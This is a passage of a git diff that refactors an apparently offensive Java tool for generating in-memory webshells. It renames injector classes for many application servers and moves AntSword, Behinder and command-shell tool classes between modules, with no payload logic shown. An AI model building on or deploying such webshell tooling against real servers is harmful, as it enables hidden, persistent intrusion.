memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java similarity index 93% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java index b782cc68..3baab150 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java @@ -12,7 +12,7 @@ import java.util.Set; * @author ReaJason * @since 2024/12/7 */ -public abstract class AbstractShell { +public abstract class AbstractServer { private final Map map = new LinkedHashMap<>(); @@ -27,7 +27,7 @@ public abstract class AbstractShell { return null; } - protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) { + public void addToolMapping(ShellTool shellTool, ToolMapping mapping) { map.put(shellTool, mapping); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Apusic.java similarity index 89% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Apusic.java index 5d9ffcdd..8b2ae2ae 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Apusic.java @@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjec import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import static com.reajason.javaweb.memshell.ShellType.*; @@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/27 */ -public class ApusicShell extends AbstractShell { +public class Apusic extends AbstractServer { public static class ListenerInterceptor { @Advice.OnMethodExit diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java similarity index 88% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java index 873333a1..5a140ada 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java @@ -8,11 +8,11 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/26 */ -public class BesShell extends AbstractShell { +public class Bes extends AbstractServer { @Override public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; + return Tomcat.ListenerInterceptor.class; } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java index ddaea629..1fa4456f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java @@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgen import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import static com.reajason.javaweb.memshell.ShellType.*; @@ -14,7 +14,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/12 */ -public class GlassFishShell extends AbstractShell { +public class GlassFish extends AbstractServer { public static class ListenerInterceptor { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java similarity index 83% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java index bc072d1a..edd7cd6f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuite.java @@ -4,8 +4,6 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAge import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -14,11 +12,11 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/24 */ -public class InforSuiteShell extends AbstractShell { +public class InforSuite extends AbstractServer { @Override public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; + return Tomcat.ListenerInterceptor.class; } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java similarity index 92% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java index dad0ce31..5d30790e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jboss.java @@ -13,11 +13,11 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/10 */ -public class JbossShell extends AbstractShell { +public class Jboss extends AbstractServer { @Override public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; + return Tomcat.ListenerInterceptor.class; } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java similarity index 92% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java index 566a55b4..11e5543c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Jetty.java @@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector; import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector; import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import static com.reajason.javaweb.memshell.ShellType.*; @@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/7 */ -public class JettyShell extends AbstractShell { +public class Jetty extends AbstractServer { public static class ListenerInterceptor { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Resin.java similarity index 88% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Resin.java index ddf47417..6665780a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Resin.java @@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjecto import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector; import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector; import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import static com.reajason.javaweb.memshell.ShellType.*; @@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/14 */ -public class ResinShell extends AbstractShell { +public class Resin extends AbstractServer { public static class ListenerInterceptor { @Advice.OnMethodExit diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java deleted file mode 100644 index 027415c0..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.reajason.javaweb.memshell.server; - -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.memshell.ShellTool; - -import java.util.Map; -import java.util.Set; - -/** - * @author ReaJason - * @since 2025/2/22 - */ -public class ServerToolRegistry { - - public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) { - Map> rawToolMapping = toolMapping.getShellClassMap(); - for (Server value : Server.values()) { - AbstractShell shell = value.getShell(); - InjectorMapping shellInjectorMapping = shell.getShellInjectorMapping(); - Set injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes(); - ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder(); - - for (String shellType : injectorSupportedShellTypes) { - Class shellClass = rawToolMapping.get(shellType); - if (shellClass == null) { - continue; - } - toolMappingBuilder.addShellClass(shellType, shellClass); - } - shell.addToolMapping(shellTool, toolMappingBuilder.build()); - } - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFlux.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFlux.java index 46845429..babcb628 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFlux.java @@ -11,7 +11,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/24 */ -public class SpringWebFluxShell extends AbstractShell { +public class SpringWebFlux extends AbstractServer { @Override public InjectorMapping getShellInjectorMapping() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvc.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvc.java index 293c3afc..434f0963 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvc.java @@ -10,7 +10,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/22 */ -public class SpringWebMvcShell extends AbstractShell { +public class SpringWebMvc extends AbstractServer { @Override public InjectorMapping getShellInjectorMapping() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java similarity index 94% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java index 57656ecf..61fe6da9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.injector.tomcat.*; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import static com.reajason.javaweb.memshell.ShellType.*; @@ -10,7 +10,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/11/22 */ -public class TomcatShell extends AbstractShell { +public class Tomcat extends AbstractServer { public static class ListenerInterceptor { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWebShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java similarity index 88% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/TongWebShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java index 5d99abcf..ee18c7c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWebShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java @@ -8,11 +8,11 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/26 */ -public class TongWebShell extends AbstractShell { +public class TongWeb extends AbstractServer { @Override public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; + return Tomcat.ListenerInterceptor.class; } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Undertow.java similarity index 92% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Undertow.java index d3627cbe..bd953230 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Undertow.java @@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector; import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector; import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector; import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import java.util.Map; @@ -16,7 +15,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/10 */ -public class UndertowShell extends AbstractShell { +public class Undertow extends AbstractServer { public static class ListenerInterceptor { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java similarity index 90% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java index 955e079e..4ac9ba48 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogic.java @@ -11,11 +11,11 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/24 */ -public class WebLogicShell extends AbstractShell { +public class WebLogic extends AbstractServer { @Override public Class getListenerInterceptor() { - return TomcatShell.ListenerInterceptor.class; + return Tomcat.ListenerInterceptor.class; } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphere.java similarity index 89% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphere.java index 7d9bbcef..5545de1b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphere.java @@ -4,9 +4,8 @@ import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgen import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector; import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector; import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import static com.reajason.javaweb.memshell.ShellType.*; @@ -14,7 +13,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @author ReaJason * @since 2024/12/21 */ -public class WebSphereShell extends AbstractShell { +public class WebSphere extends AbstractServer { public static class ListenerInterceptor { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJob.java similarity index 90% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJob.java index ca4dcbd6..90253b31 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJob.java @@ -8,7 +8,7 @@ import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER; * @author ReaJason * @since 2025/1/21 */ -public class XxlJobShell extends AbstractShell { +public class XxlJob extends AbstractServer { @Override public InjectorMapping getShellInjectorMapping() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java similarity index 100% rename from 